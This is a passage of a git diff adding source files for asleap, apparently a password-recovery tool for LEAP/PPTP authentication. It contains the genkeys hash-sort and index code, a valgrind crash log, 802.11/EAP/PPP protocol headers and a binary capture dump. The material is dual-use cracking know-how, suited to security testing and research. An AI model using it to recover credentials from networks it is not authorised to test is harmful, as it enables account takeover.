(fread(&brec[brecsub].rec_size, 1, 1, + hbucket[hsub].sbucket) != 1) { + fprintf(stderr, + "Unable to read from bucket %02x. ", + hsub); + perror("fread"); + closebuckets(hbucket, 256); + exit(-1); + } + + /* Calculate password length - 17 is hash+rec length byte */ + passlen = (brec[brecsub].rec_size - 17); + + /* malloc() memory for this password based on password length */ + if ((brec[brecsub].password = + malloc(passlen + 1)) == NULL) { + fprintf(stderr, + "Cannot allocate %d bytes of memory. ", + (passlen + 1)); + perror("malloc"); + closebuckets(hbucket, 256); + exit(-1); + } + memset(brec[brecsub].password, 0, passlen + 1); + + /* Populate the password field with the next parameter in the + record */ + fread(brec[brecsub].password, passlen, 1, + hbucket[hsub].sbucket); + + /* Populate the hash field with the final parameter in the record */ + fread(brec[brecsub].hash, 16, 1, hbucket[hsub].sbucket); + } + + /* sort this bucket */ + qsort(brec, hbucket[hsub].numrec, sizeof(rec), compfunc); + + /* Write the sorted records to the outputfl handle */ + for (brecsub = 0; brecsub < bucketrecords; brecsub++) { + passlen = brec[brecsub].rec_size - 17; + fwrite(&brec[brecsub].rec_size, sizeof(rec.rec_size), 1, + outputfl); + fwrite(brec[brecsub].password, passlen, 1, outputfl); + fwrite(brec[brecsub].hash, sizeof(rec.hash), 1, + outputfl); + free(brec[brecsub].password); + } + + /* Get rid of the bucket */ + fclose(hbucket[hsub].sbucket); + sprintf(bucketfile, "genk-bucket-%02x.tmp", hsub); + remove(bucketfile); + free(brec); + + hsub++; + + } + + fflush(outputfl); + fclose(outputfl); + + printf("Done.\nCompleted sort in %llu compares.\n", sortcount); + printf("Creating index file (almost finished) ..."); + fflush(stdout); + + /* Re-open output file "r" */ + if ((outputfl = fopen(datafile, "rb")) == NULL) { + perror("fopen"); + fclose(outputfl); + exit(1); + } + +/* Create the index file - populate an initial record, then keep reading + * through the file. When the last 2 bytes of the hash change, write the + * index record to the index file and keep reading records until EOF. + */ + + recoffset = 0; + getnextret = 0; + + /* Populate the initial index record from the outputfl */ + if ((getnextret = getnextrec(&tmprec, outputfl, 0)) < 0) { + perror("getnextrec"); + exit(-1); + } + + memset(&idxrec, 0, sizeof(idxrec)); + memset(&rec, 0, sizeof(rec)); + + /* Update the offset of the record, this is always 0 for the first record */ + recoffset = recoffset + getnextret; + + idxrec.hashkey[0] = tmprec.hash[14]; + idxrec.hashkey[1] = tmprec.hash[15]; + idxrec.offset = 0; + idxrec.numrec = 1; + + while (!feof(outputfl)) { + + if ((getnextret = getnextrec(&rec, outputfl, 0)) < 0) { + perror("getnextrec"); + exit(-1); + } + recoffset = recoffset + getnextret; + + if (idxrec.hashkey[0] != rec.hash[14] || + idxrec.hashkey[1] != rec.hash[15]) { + + /* Finished reading records for this hash key value. Write the + index record and populate the next index record. */ + if (fwrite(&idxrec, sizeof(idxrec), 1, outputidx) != 1) { + perror("Error writing index record"); + fclose(outputfl); + fclose(outputidx); + } + // fflush(outputidx); + /* + printf("DEBUG index record:\n"); + printf("idxrec.hashkey = %02x%02x\n", idxrec.hashkey[0], idxrec.hashkey[1]); + printf("idxrec.offset = %llu\n", idxrec.offset); + printf("idxrec.numrec = %llu\n", idxrec.numrec); + printf("========================================================\n"); + */ + + /* Initialize struct for the next index entry set */ + memset(&idxrec, 0, sizeof(idxrec)); + + /* Populate the next hash reference and offset */ + idxrec.hashkey[0] = rec.hash[14]; + idxrec.hashkey[1] = rec.hash[15]; + idxrec.offset = recoffset - getnextret; + idxrec.numrec = 1; + continue; + + } else { + /* Got another record with the same hash value, increment count */ + idxrec.numrec++; + continue; + } + } + + /* Write the final index record */ + if (fwrite(&idxrec, sizeof(idxrec), 1, outputidx) != 1) { + perror("Error writing final index record"); + fclose(outputfl); + fclose(outputidx); + exit(-1); + } + + fclose(outputfl); + fclose(outputidx); + + printf("Done.\n"); + fflush(stdout); + + exit(0); + +} diff --git a/asleap/src/genkeys.val b/asleap/src/genkeys.val new file mode 100644 index 0000000..912217c --- /dev/null +++ b/asleap/src/genkeys.val @@ -0,0 +1,118 @@ +==11449== Memcheck, a memory error detector. +==11449== Copyright (C) 2002-2006, and GNU GPL'd, by Julian Seward et al. +==11449== Using LibVEX rev 1658, a library for dynamic binary translation. +==11449== Copyright (C) 2004-2006, and GNU GPL'd, by OpenWorks LLP. +==11449== Using valgrind-3.2.1, a dynamic binary instrumentation framework. +==11449== Copyright (C) 2000-2006, and GNU GPL'd, by Julian Seward et al. +==11449== +--11449-- Command line +--11449-- ./genkeys +--11449-- -r +--11449-- dict +--11449-- -f +--11449-- out.dat +--11449-- -n +--11449-- out.idx +--11449-- Startup, with flags: +--11449-- -v +--11449-- --show-reachable=yes +--11449-- Contents of /proc/version: +--11449-- Linux version 2.6.19.1 (root@thallium) (gcc version 4.1.1 (Gentoo 4.1.1-r3)) #2 SMP Tue Apr 3 00:18:31 EDT 2007 +--11449-- Arch and hwcaps: X86, x86-sse1-sse2 +--11449-- Valgrind library directory: /usr/lib/valgrind +--11449-- Reading syms from /lib/ld-2.3.6.so (0x4000000) +--11449-- Reading syms from /home/jwright/asleap/genkeys (0x8048000) +--11449-- Reading syms from /usr/lib/valgrind/x86-linux/memcheck (0x38000000) +--11449-- object doesn't have a symbol table +--11449-- object doesn't have a dynamic symbol table +--11449-- Reading suppressions file: /usr/lib/valgrind/default.supp +--11449-- REDIR: 0x4010DE0 (index) redirected to 0x380269E7 (???) +--11449-- Reading syms from /usr/lib/valgrind/x86-linux/vgpreload_core.so (0x4017000) +--11449-- object doesn't have a symbol table +--11449-- Reading syms from /usr/lib/valgrind/x86-linux/vgpreload_memcheck.so (0x401A000) +--11449-- object doesn't have a symbol table +==11449== WARNING: new redirection conflicts with existing -- ignoring it +--11449-- new: 0x04010DE0 (index ) R-> 0x0401D0DB index +--11449-- Reading syms from /usr/lib/libpcap.so.0.9 (0x4034000) +--11449-- object doesn't have a symbol table +--11449-- Reading syms from /lib/libcrypt-2.3.6.so (0x405A000) +--11449-- object doesn't have a symbol table +--11449-- Reading syms from /usr/lib/libcrypto.so.0.9.8 (0x4088000) +--11449-- object doesn't have a symbol table +--11449-- Reading syms from /lib/libc-2.3.6.so (0x41B4000) +--11449-- object doesn't have a symbol table +--11449-- Reading syms from /lib/libdl-2.3.6.so (0x42C3000) +--11449-- object doesn't have a symbol table +--11449-- REDIR: 0x42190E0 (rindex) redirected to 0x401CFF7 (rindex) +--11449-- REDIR: 0x4218F48 (strncmp) redirected to 0x401D2A9 (strncmp) +--11449-- REDIR: 0x42186C0 (index) redirected to 0x401D0B6 (index) +--11449-- REDIR: 0x4219034 (strncpy) redirected to 0x401DCF0 (strncpy) +--11449-- REDIR: 0x4215EE5 (malloc) redirected to 0x401C3C5 (malloc) +--11449-- REDIR: 0x4219F30 (memset) redirected to 0x401D509 (memset) +genkeys 2.0 - generates lookup file for asleap. +Generating hashes for passwords (this may take some time) ...--11449-- REDIR: 0x4219A30 (memchr) redirected to 0x401D41A (memchr) +--11449-- REDIR: 0x421A3D0 (memcpy) redirected to 0x401DB7A (memcpy) +--11449-- REDIR: 0x4214053 (free) redirected to 0x401BF97 (free) +Done. +14267876 hashes written in 2089.54 seconds: 6828.24 hashes/second +Starting sort (be patient) ...--11449-- REDIR: 0x4216E34 (calloc) redirected to 0x401B686 (calloc) +--11449-- REDIR: 0x421ABE0 (rawmemchr) redirected to 0x401D5B4 (rawmemchr) +--11449-- REDIR: 0x421A0F0 (stpcpy) redirected to 0x401D858 (stpcpy) +Done. +Completed sort in 206994907 compares. +Creating index file (almost finished) ...==11449== Jump to the invalid address stated on the next line +==11449== at 0x82D2D2D: ??? +==11449== Address 0x82D2D2D is not stack'd, malloc'd or (recently) free'd +==11449== +==11449== Process terminating with default action of signal 11 (SIGSEGV) +==11449== Bad permissions for mapped region at address 0x82D2D2D +==11449== at 0x82D2D2D: ??? +==11449== +==11449== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 7 from 1) +==11449== +==11449== 1 errors in context 1 of 1: +==11449== Jump to the invalid address stated on the next line +==11449== at 0x82D2D2D: ??? +==11449== Address 0x82D2D2D is not stack'd, malloc'd or (recently) free'd +--11449-- +--11449-- supp: 7 Ubuntu-stripped-ld.so +==11449== +==11449== IN SUMMARY: 1 errors from 1 contexts (suppressed: 7 from 1) +==11449== +==11449== malloc/free: in use at exit: 728 bytes in 2 blocks. +==11449== malloc/free: 14,268,907 allocs, 14,268,905 frees, 736,778,230 bytes allocated. +==11449== +==11449== searching for pointers to 2 not-freed blocks. +==11449== checked 345,776 bytes. +==11449== +==11449== LEAK SUMMARY: +==11449== definitely lost: 0 bytes in 0 blocks. +==11449== possibly lost: 0 bytes in 0 blocks. +==11449== still reachable: 728 bytes in 2 blocks. +==11449== suppressed: 0 bytes in 0 blocks. +--11449-- memcheck: sanity checks: 194959 cheap, 7799 expensive +--11449-- memcheck: auxmaps: 0 auxmap entries (0k, 0M) in use +--11449-- memcheck: auxmaps: 0 searches, 0 comparisons +--11449-- memcheck: SMs: n_issued = 9498 (151968k, 148M) +--11449-- memcheck: SMs: n_deissued = 9258 (148128k, 144M) +--11449-- memcheck: SMs: max_noaccess = 65535 (1048560k, 1023M) +--11449-- memcheck: SMs: max_undefined = 17 (272k, 0M) +--11449-- memcheck: SMs: max_defined = 55 (880k, 0M) +--11449-- memcheck: SMs: max_non_DSM = 292 (4672k, 4M) +--11449-- memcheck: max sec V bit nodes: 1 (0k, 0M) +--11449-- memcheck: set_sec_vbits8 calls: 1 (new: 1, updates: 0) +--11449-- memcheck: max shadow mem size: 4976k, 4M +--11449-- translate: fast SP updates identified: 3,178 ( 91.8%) +--11449-- translate: generic_known SP updates identified: 214 ( 6.1%) +--11449-- translate: generic_unknown SP updates identified: 67 ( 1.9%) +--11449-- tt/tc: 7,826 tt lookups requiring 7,951 probes +--11449-- tt/tc: 7,825 fast-cache updates, 2 flushes +--11449-- transtab: new 2,856 (65,166 -> 1,106,293; ratio 169:10) [0 scs] +--11449-- transtab: dumped 0 (0 -> ??) +--11449-- transtab: discarded 0 (0 -> ??) +--11449-- scheduler: 19,495,988,383 jumps (bb entries). +--11449-- scheduler: 194,959/29,083,611 major/minor sched events. +--11449-- sanity: 194960 cheap, 7799 expensive checks. +--11449-- exectx: 30,011 lists, 30 contexts (avg 0 per list) +--11449-- exectx: 28,537,820 searches, 28,537,790 full compares (999 per 1000) +--11449-- exectx: 0 cmp2, 21 cmp4, 0 cmpAll diff --git a/asleap/src/ieee80211.h b/asleap/src/ieee80211.h new file mode 100644 index 0000000..8e70811 --- /dev/null +++ b/asleap/src/ieee80211.h @@ -0,0 +1,336 @@ +/* Copyright 2006 Aruba Networks */ + +#ifndef IEEE80211_H +#define IEEE80211_H + +#define DOT11HDR_A1_LEN 10 +#define DOT11HDR_A3_LEN 24 +#define DOT11HDR_A4_LEN 30 +#define DOT11HDR_MAC_LEN 6 +#define DOT11HDR_MINLEN DOT11HDR_A1_LEN + +#define DOT11_FC_TYPE_MGMT 0 +#define DOT11_FC_TYPE_CTRL 1 +#define DOT11_FC_TYPE_DATA 2 + +#define DOT11_FC_SUBTYPE_ASSOCREQ 0 +#define DOT11_FC_SUBTYPE_ASSOCRESP 1 +#define DOT11_FC_SUBTYPE_REASSOCREQ 2 +#define DOT11_FC_SUBTYPE_REASSOCRESP 3 +#define DOT11_FC_SUBTYPE_PROBEREQ 4 +#define DOT11_FC_SUBTYPE_PROBERESP 5 +#define DOT11_FC_SUBTYPE_BEACON 8 +#define DOT11_FC_SUBTYPE_ATIM 9 +#define DOT11_FC_SUBTYPE_DISASSOC 10 +#define DOT11_FC_SUBTYPE_AUTH 11 +#define DOT11_FC_SUBTYPE_DEAUTH 12 + +#define DOT11_FC_SUBTYPE_PSPOLL 10 +#define DOT11_FC_SUBTYPE_RTS 11 +#define DOT11_FC_SUBTYPE_CTS 12 +#define DOT11_FC_SUBTYPE_ACK 13 +#define DOT11_FC_SUBTYPE_CFEND 14 +#define DOT11_FC_SUBTYPE_CFENDACK 15 + +#define DOT11_FC_SUBTYPE_DATA 0 +#define DOT11_FC_SUBTYPE_DATACFACK 1 +#define DOT11_FC_SUBTYPE_DATACFPOLL 2 +#define DOT11_FC_SUBTYPE_DATACFACKPOLL 3 +#define DOT11_FC_SUBTYPE_DATANULL 4 +#define DOT11_FC_SUBTYPE_CFACK 5 +#define DOT11_FC_SUBTYPE_CFACKPOLL 6 +#define DOT11_FC_SUBTYPE_CFACKPOLLNODATA 7 +#define DOT11_FC_SUBTYPE_QOSDATA 8 +/* 9 - 11 reserved as of 11/7/2005 - JWRIGHT */ +#define DOT11_FC_SUBTYPE_QOSNULL 12 + +/* Fixed parameter length values for mgmt frames */ +#define DOT11_MGMT_BEACON_FIXEDLEN 12 +#define DOT11_MGMT_ASSOCREQ_FIXEDLEN 4 +#define DOT11_MGMT_ASSOCRESP_FIXEDLEN 6 +#define DOT11_MGMT_AUTH_FIXEDLEN 6 + +/* Authentication algorithm values */ +#define DOT11_MGMT_AUTHALGO_SHARED 1 +#define DOT11_MGMT_AUTHALGO_OPEN 0 + +/* Information element identifiers */ +#define DOT11_IE_SSIDSET 0 +#define DOT11_IE_DSPARAMSET 3 +#define DOT11_IE_RSN 48 +#define DOT11_IE_WPA 221 + +/* IE Cipher suite mechanisms for RSN/WPA */ +#define DOT11_RSN_CIPHER_GROUP 0 /* Use the group cipher for unicast */ +#define DOT11_RSN_CIPHER_WEP40 1 /* WEP-40 */ +#define DOT11_RSN_CIPHER_TKIP 2 /* TKIP */ +#define DOT11_RSN_CIPHER_RSVD 3 /* Reserved */ +#define DOT11_RSN_CIPHER_CCMP 4 /* CCMP */ +#define DOT11_RSN_CIPHER_WEP104 5 /* WEP-104 */ + +/* IE Authentication suite mechanksms for RSN/WPA */ +#define DOT11_RSN_AUTH_PMKDER 1 /* Key derived from PMK via 802.1x or + key caching mechanism. */ +#define DOT11_RSN_AUTH_PSK 2 /* Key derived from PSK */ + +/* RSN/WPA element constants */ +#define DOT11_RSN_IE_VERSION 1 +#define DOT11_RSN_OUI "\x00\x0f\xac" +#define DOT11_RSN_OUI_LEN 3 +#define DOT11_WPA_IE_VERSION 1 +#define DOT11_WPA_TAG "\x00\x50\xf2\x01" +#define DOT11_WPA_TAG_LEN 4 +#define DOT11_WPA_OUI "\x00\x50\xf2" +#define DOT11_WPA_OUI_LEN 3 + + +/* Authentication identifiers */ +#define DOT11_PREVAUTH_INVALID 2 + +struct dot11hdr { + union { + struct { + uint8_t version:2; + uint8_t type:2; + uint8_t subtype:4; + uint8_t to_ds:1; + uint8_t from_ds:1; + uint8_t more_frag:1; + uint8_t retry:1; + uint8_t pwrmgmt:1; + uint8_t more_data:1; + uint8_t protected:1; + uint8_t order:1; + } __attribute__ ((packed)) fc; + + uint16_t fchdr; + } u1; + + uint16_t duration; + uint8_t addr1[6]; + uint8_t addr2[6]; + uint8_t addr3[6]; + + union { + struct { + uint16_t fragment:4; + uint16_t sequence:12; + } __attribute__ ((packed)) seq; + + uint16_t seqhdr; + } u2; + +} __attribute__ ((packed)); + +#define dot11hdra3 dot11hdr +#define ieee80211 dot11hdr + +struct dot11hdr_a1 { + union { + struct { + uint8_t version:2; + uint8_t type:2; + uint8_t subtype:4; + uint8_t to_ds:1; + uint8_t from_ds:1; + uint8_t more_frag:1; + uint8_t retry:1; + uint8_t pwrmgmt:1; + uint8_t more_data:1; + uint8_t protected:1; + uint8_t order:1; + } __attribute__ ((packed)) fc; + + uint16_t fchdr; + } u1; + + uint16_t duration; + uint8_t addr1[6]; +} __attribute__ ((packed)); + +struct dot11hdr_a4 { + union { + struct { + uint8_t version:2; + uint8_t type:2; + uint8_t subtype:4; + uint8_t to_ds:1; + uint8_t from_ds:1; + uint8_t more_frag:1; + uint8_t retry:1; + uint8_t pwrmgmt:1; + uint8_t more_data:1; + uint8_t protected:1; + uint8_t order:1; + } __attribute__ ((packed)) fc; + + uint16_t fchdr; + } u1; + + uint16_t duration; + uint8_t addr1[6]; + uint8_t addr2[6]; + uint8_t addr3[6]; + + union { + struct { + uint16_t fragment:4; + uint16_t sequence:12; + } __attribute__ ((packed)) seq; + + uint16_t seqhdr; + } u2; + + uint8_t addr4[6]; + +} __attribute__ ((packed)); + +struct dot11_mgmt { + union { + struct { + uint16_t auth_algo; + uint16_t auth_transaction; + uint16_t status_code; + /* possibly followed by Challenge text */ + uint8_t variable[0]; + } __attribute__ ((packed)) auth; + struct { + uint16_t reason_code; + } __attribute__ ((packed)) deauth; + struct { + uint16_t capab_info; + uint16_t listen_interval; + /* followed by SSID and Supported rates */ + uint8_t variable[0]; + } __attribute__ ((packed)) assoc_req; + struct { + uint16_t capab_info; + uint16_t status_code; + uint16_t aid; + /* followed by Supported rates */ + uint8_t variable[0]; + } __attribute__ ((packed)) assoc_resp, reassoc_resp; + struct { + uint16_t capab_info; + uint16_t listen_interval; + uint8_t current_ap[6]; + /* followed by SSID and Supported rates */ + uint8_t variable[0]; + } __attribute__ ((packed)) reassoc_req; + struct { + uint16_t reason_code; + } __attribute__ ((packed)) disassoc; + struct { + uint8_t variable[0]; + } __attribute__ ((packed)) probe_req; + struct { + uint8_t timestamp[8]; + uint16_t beacon_int; + uint16_t capab_info; + /* followed by some of SSID, Supported rates, + * FH Params, DS Params, CF Params, IBSS Params, TIM */ + uint8_t variable[0]; + } __attribute__ ((packed)) beacon; + } u; +} __attribute__ ((packed)); + +/* IEEE 802.11 fixed parameters */ +struct ieee80211_beacon_fixparm { + uint8_t timestamp[8]; + uint16_t beaconinterval; + uint16_t capability; +} __attribute__ ((packed)); + +struct ieee80211_qos { + uint8_t priority:3; + uint8_t reserved3:1; + uint8_t eosp:1; + uint8_t ackpol:2; + uint8_t reserved1:1; + uint8_t reserved2; +} __attribute__ ((packed)); +#define DOT11HDR_QOS_LEN 2 + +struct ieee80211_wep { + uint8_t iv[3]; + + union { + uint8_t indexhdr; + + struct { + uint8_t reserved:6; + uint8_t keyid:2; + } __attribute__ ((packed)) index; + } u1; +} __attribute__ ((packed)); + +struct ieee80211_tkip { + union { + struct { + uint8_t tsc1; + uint8_t wepseed; + uint8_t tsc0; + uint8_t reserved1:5; + uint8_t extiv:1; + uint8_t keyid:2; + } __attribute__ ((packed)) iv; + + uint8_t ivhdr; + } u1; + + union { + struct { + uint8_t tsc2; + uint8_t tsc3; + uint8_t tsc4; + uint8_t tsc5; + } extiv; + + uint8_t extivhdr; + } u2; + +} __attribute__ ((packed)); + +struct ieee80211_ccmp { + union { + struct { + uint8_t pn0; + uint8_t pn1; + uint8_t reserved1; + uint8_t reserved2:5; + uint8_t extiv:1; + uint8_t keyid:2; + } __attribute__ ((packed)) iv; + + uint8_t ivhdr; + } u1; + + union { + struct { + uint8_t pn2; + uint8_t pn3; + uint8_t pn4; + uint8_t pn5; + } extiv; + + uint8_t extivhdr[4]; + } u2; + +} __attribute__ ((packed)); + +struct ieee8022 { + uint8_t dsap; + uint8_t ssap; + uint8_t control; + uint8_t oui[3]; + uint16_t type; +} __attribute__ ((packed)); +#define DOT2HDR_LEN sizeof(struct ieee8022) + +#define IEEE8022_SNAP 0xaa +#define IEEE8022_TYPE_IP 0x0800 +#define IEEE8022_TYPE_DOT1X 0x888e +#define IEEE8022_TYPE_ARP 0x0806 + + +#endif diff --git a/asleap/src/ieee8021x.h b/asleap/src/ieee8021x.h new file mode 100644 index 0000000..38576a5 --- /dev/null +++ b/asleap/src/ieee8021x.h @@ -0,0 +1,17 @@ +/* Copyright 2006 Aruba Networks */ + +#ifndef IEEE8021X_H +#define IEEE8021X_H + +/* The 802.1x header indicates a version, type and length */ +struct ieee8021x { + uint8_t version; + uint8_t type; + uint16_t len; +} __attribute__ ((packed)); +#define DOT1XHDR_LEN sizeof(struct ieee8021x) + +#define DOT1X_VERSION 1 +#define DOT1X_TYPE_EAP 0 + +#endif diff --git a/asleap/src/ietfproto.h b/asleap/src/ietfproto.h new file mode 100644 index 0000000..93fcf49 --- /dev/null +++ b/asleap/src/ietfproto.h @@ -0,0 +1,171 @@ +/* Copyright 2006 Aruba Networks */ + +/* Layer 3+ protocol definitions and constants */ + +#ifndef IETFPROTO_H +#define IETFPROTO_H + +/* EAP message constants */ +#define EAP_REQUEST 1 +#define EAP_RESPONSE 2 +#define EAP_SUCCESS 3 +#define EAP_FAILURE 4 + +/* EAP types, more at http://www.iana.org/assignments/eap-numbers */ +#define EAP_TYPE_EAP 0 +#define EAP_TYPE_ID 1 +#define EAP_TYPE_NOTIFY 2 +#define EAP_TYPE_NAK 3 +#define EAP_TYPE_MD5 4 +#define EAP_TYPE_TLS 13 +#define EAP_TYPE_LEAP 17 +#define EAP_TYPE_SIM 18 +#define EAP_TYPE_TTLS 21 +#define EAP_TYPE_AKA 23 +#define EAP_TYPE_PEAP 25 +#define EAP_TYPE_MSCHAPV2 26 +#define EAP_TYPE_FAST 43 + +struct eap_hdr { + uint8_t code; /* 1=request, 2=response, 3=success, 4=failure? */ + uint8_t identifier; + uint16_t length; /* Length of the entire EAP message */ + + /* The following fields may not be present in all EAP frames */ + uint8_t type; + uint8_t flags; + uint32_t totallen; +} __attribute__ ((packed)); +#define EAPHDR_MIN_LEN 4 +#define EAPHDR_INITFRAGHDR_LEN 6 +#define EAPHDR_NEXTFRAGHDR_LEN 2 + +struct eap_leap_hdr { + uint8_t type; /* hack, where does this belong? */ + uint8_t version; /* Always 1 in my tests */ + uint8_t reserved; + uint8_t count; /* Length in octets of the challenge/response field */ +} __attribute__ ((packed)); +#define EAPLEAPHDR_LEN sizeof(struct eap_leap_hdr); +#define EAPLEAP_MIN_REQ_LEN 12 +#define EAPLEAP_MIN_RESP_LEN 28 + +#define EAP_TLS_FLAG_LEN 0x80 /* Length included */ +#define EAP_TLS_FLAG_MOREFRAG 0x40 /* More fragments */ +#define EAP_TLS_FLAG_START 0x20 /* EAP-TLS start */ +#define EAP_PEAP_FLAG_VERSION 0x07 /* EAP-PEAP version */ + +/* IP protocol header */ +struct iphdr { + uint8_t ver_hlen; + uint8_t tos; + uint16_t len; + uint16_t ipid; + uint16_t flags_offset; + uint8_t ttl; + uint8_t proto; + uint16_t checksum; + uint8_t srcaddr[4]; + uint8_t dstaddr[4]; +} __attribute__ ((packed)); +#define IPHDR_LEN sizeof(struct iphdr) +#define IPHDR_MIN_LEN 20 +#define IPHDR_MAX_LEN 64 + +struct tcphdr { + uint16_t sport; + uint16_t dport; + uint32_t seq; + uint32_t ack; + uint8_t hlen; + uint8_t flags; + uint16_t wsize; + uint16_t checksum; +} __attribute__ ((packed)); +#define TCPHDR_LEN sizeof(struct tcphdr) + +struct udphdr { + uint16_t sport; + uint16_t dport; + uint16_t hlen; + uint16_t checksum; +} __attribute__ ((packed)); +#define UDPHDR_LEN sizeof(struct udphdr) + +/* This is the structure of the GRE header */ +struct grehdr { + uint16_t flags; + uint16_t type; + uint16_t length; + uint16_t callid; + uint16_t seq; /* optional based on flags */ + uint16_t ack; /* optional based on flags */ +} __attribute__ ((packed)); +#define GREHDR_MIN_LEN (sizeof(struct grehdr) - 4) +#define GREPROTO_PPP 0x880b +#define GRE_FLAG_SYNSET 0x0010 +#define GRE_FLAG_ACKSET 0x8000 + +#define TCP_PORT_PPTP 1723 +#define UDP_PORT_L2TP 1701 + +/* This is the structure of the Point-to-Point Protocol header */ +struct ppphdr { + uint16_t proto; +} __attribute__ ((packed)); +#define PPPHDR_LEN sizeof(struct ppphdr) +#define PPPPROTO_CHAP 0xc223 + +/* This is the structure of the PPP CHAP header */ +struct pppchaphdr { + uint8_t code; + uint8_t identifier; + uint16_t length; + union { + struct { + uint8_t datalen; + uint8_t authchal[16]; + } chaldata; + struct { + uint8_t datalen; + uint8_t peerchal[16]; + uint8_t unknown[8]; /* all zero's */ + uint8_t peerresp[24]; + uint8_t state; + uint8_t name; + } respdata; + } u; +} __attribute__ ((packed)); +#define PPPCHAPHDR_LEN 4 +#define PPPCHAPHDR_MIN_CHAL_LEN 21 +#define PPPCHAPHDR_MIN_RESP_LEN 55 +#define PPPCHAP_CHALLENGE 1 +#define PPPCHAP_RESPONSE 2 +#define PPPCHAP_SUCCESS 3 +#define PPPCHAP_FAILURE 4 + +#define ARPHDR_LEN sizeof(struct arphdr); +#define ARPREQ_LEN sizeof(struct arpreq); + +#define ARP_REQUEST 1 /* ARP request */ +#define ARP_REPLY 2 /* ARP reply */ +#define ARP_RREQUEST 3 /* RARP request */ +#define ARP_RREPLY 4 /* RARP reply */ + + +struct tlsrec_hdr { + uint8_t type; + uint16_t ver; + uint16_t len; +} __attribute__ ((packed)); +#define TLSRECHDR_LEN sizeof(struct tlsrec_hdr) + +struct tlshshake_hdr { + uint8_t type; + uint8_t len[3]; /* 3 bytes WTF */ +} __attribute__ ((packed)); +#define TLSHSHAKEHDR_LEN sizeof(struct tlshshake_hdr) + + + +#endif diff --git a/asleap/src/joshlea.dump b/asleap/src/joshlea.dump new file mode 100644 index 0000000000000000000000000000000000000000..1843e344c8c7eb1487d6fc3def5ac80516e94de1 GIT binary patch literal 332385 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 